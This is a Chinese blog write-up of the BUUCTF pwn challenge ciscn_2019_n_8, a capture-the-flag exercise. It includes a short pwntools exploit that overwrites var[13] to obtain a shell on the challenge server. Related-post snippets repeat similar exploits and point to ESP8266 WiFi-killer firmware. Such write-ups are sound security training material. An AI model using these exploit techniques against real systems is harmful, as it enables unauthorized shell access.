BUUCTF-Pwn-ciscn_2019_n_8

最新推荐文章于 2022-10-29 12:12:19 发布
最新推荐文章于 2022-10-29 12:12:19 发布
阅读量254 收藏 1
点赞数
分类专栏： CTF Pwn 文章标签： 其他
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46035101/article/details/122937205
版权
CTF 同时被 2 个专栏收录
29 篇文章 0 订阅
订阅专栏
Pwn
21 篇文章 0 订阅
订阅专栏

题目截图
在这里插入图片描述
检查文件信息，开了NX，Canary和PIE
在这里插入图片描述
反汇编查看主函数，只要var[13]=17就可以getshell，值得注意的是使用了(_QWORD *)进行类型转换，所以比较时读取的是QWORD即4个字的数据，也就是8个字节
在这里插入图片描述
exp

from pwn import*

r=remote('node4.buuoj.cn',28850) 
payload=p32(1)*13+p64(17)
r.sendlineafter(b'\n', payload)
r.interactive() #开启交互
餐桌上的猫
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ciscn_2019_n_3
12-30
ciscn(全国大学生信息安全竞赛)，2019年的一道题目，涉及到fastbin堆漏洞的利用。由于调用了system函数，所以漏洞利用的难度不大，推荐初学者练习。题解链接：...
Wi-PWN_8.0_ENGLISH_OLED.bin
08-25
这是ESP8266的带OLED显示的WIFI杀手固件。
[BUUCTF-pwn]——ciscn_2019_n_8
Y_peak的博客
02-10 1885
[BUUCTF-pwn]——ciscn_2019_n_8 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_8 题目 上去checksec一下,吓一跳保护基本全开了。 在IDA中一看，开心了。如此简单　只需要v[13] ==17 就好。因为var是以字符串的形式输入的。所以exploit如下: exploit from pwn import * p = remote("node3.buuoj.cn",29772) p.sendline("aaaa"*13 +
Buuctf(pwn)ciscn_2019_n_8
半岛铁盒的博客
03-28 229
保护开的挺全; from pwn import* r=remote('node3.buuoj.cn',28155) payload = p32(17)*14 r.sendline(payload) r.interactive() 没利用漏洞,简单的输入满足条件就好了
buuctf pwn ciscn_2019_n_8
zip471642048的博客
06-21 347
checksec 看一下基本信息 把程序拖到ida32分析一波，可以看到 读入字符串给了 var 然后后面的v4，v5没起作用，然后判断了var[13]是不是等于\x11,是就给一个shell 所以只要让我们输入的字符后13位等于...
BUUCTF-PWN-ciscn_2019_n_8
Henlenl的博客
05-18 211
文章目录查看文件信息IDA 分析exp 查看文件信息 checksec 一下,保护还开的挺满 canary(栈保护)，nx(堆栈不可执行)，PIE(地址随机化) IDA 分析 其实我们应该nc 连一下的查看远程程序运行情况 丢入 32位IDA分析一下 很显然 程序的意思就是让 var[13] == 17就能拿到shell了 exp from pwn import * r = remote('node3.buuoj.cn',27168) #r = process('./ciscn_2019_n_8')
【BUUCTF - PWN】ciscn_2019_n_8
古月浪子的博客
03-27 1133
checksec一下，好叭全开 IDA打开看看，var是int数组，如果var[13]=0x11的话就能get flag from pwn import * from LibcSearcher import * context.os='linux' context.arch='i386' context.log_level='debug' sla=lambda x,y:io.sendlin...
Wi-PWN_8.0_ENGLISH.bin
08-25
ESP8266的WIFI杀手固件，这是不带显示的。 我后续更新带OLED显示的固件。教程后将更新。
ciscn-2019-pwn
11-29
【标题】"ciscn-2019-pwn"是一个与网络安全竞赛相关的主题，尤其聚焦于"Pwn"类别，这通常指的是破解或利用程序漏洞来获取系统控制权的挑战。2019年的CISCN（中国互联网安全大会）可能是这个挑战的背景，它是一个汇集...
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
[BUUCTF]PWN13——ciscn_2019_n_8
mcmuyanga的博客
08-29 534
[BUUCTF]PWN13——ciscn_2019_n_8 题目网址：https://buuoj.cn/challenges#ciscn_2019_n_8 步骤： 例行检查，32位，保护开的挺多，canary（栈保护），nx（堆栈不可执行），PIE（地址随机化） nc一下，看看程序大概的执行情况 32位ida载入，shift+f12查看程序里的字符串，看到了system和bin/sh 双击跟进，ctrl+x查看哪里调用了这个字符串 很简单的一个程序，一开始让我们输入name，之后只要var[13]=
BUUCTF|PWN-ciscn_2019_n_8-WP(格式化字符串漏洞)
l2645470582_的博客
01-11 2262
1.检查保护机制 （1）保护全开 2.运行看一下 3.我们用32位的IDA打开该文件 （1）Ctrl+F12查看关键字符串 （2）查看反编译代码 （3）条件满足var[13]!=0 &&var[13] ==17,才能拿到权限 （4）var[13]位置在第十四个上 payload构造 第一种： payload = b'a'*13*4 + p32(17) #qword/IDA在32位里面是4个字节，在64位是/8个字节 ...
BUUCTF ciscn_2019_n_8
、moddemod
06-11 377
exp from pwn import * context.log_level = 'debug' proc_name = './ciscn_2019_n_8' p = remote('node3.buuoj.cn', 26801) # p = process(proc_name) payload = 'a'.encode() * 13 * 4 + p64(17) p.sendline(payload) p.interactive()
ctf【ciscn_2019_n_8】
HUANGliang_的博客
10-29 233
缓冲区溢出漏洞
【BUUCTF - PWN】ciscn_2019_n_1
古月浪子的博客
03-19 3569
checksec一下 IDA打开，发现如果满足的条件达成，就能get flag 找到栈溢出漏洞，输入可以覆盖到v2 写代码把11.28125在内存中的十六进制表示出来 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' ...
2021 rois暑假集训——栈溢出与简单的rop链（buuctf练习）
weixin_56780239的博客
08-07 1181
2021年暑假参加集训，在buuctf上做的几道题的writeup.
BUU-pwn(二)
qq_53263789的博客
04-27 308
ciscn_2019_n_8 32位程序，逻辑很简单 需要var[13] == 17 需要注意的是qword全称是Quad Word。2个字节就是1个Word（1个字，16位），q就是英文quad-这个词根（意思是4）的首字母，所以它自然是word（2字节，0~2^16-1）的四倍，8字节 所以用p64 exp from pwn import * r = remote('node4.buuoj.cn',29396) payload = b'aaaa'*13+p64(0x11) r.sendline(p
BUUCTF pwn wp 11 - 15
fa1c4的blog
08-17 415
ciscn_2019_n_8 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5);
buuctf [HarekazeCTF2019]baby_rop2
最新发布
09-30
[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2是一个pwn题目。在这个题目中，主要的目标是获取read函数的地址，并利用该地址泄漏libc基址，然后计算system函数和/bin/sh字符串的地址，最终执行system('/bin/sh')获取...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值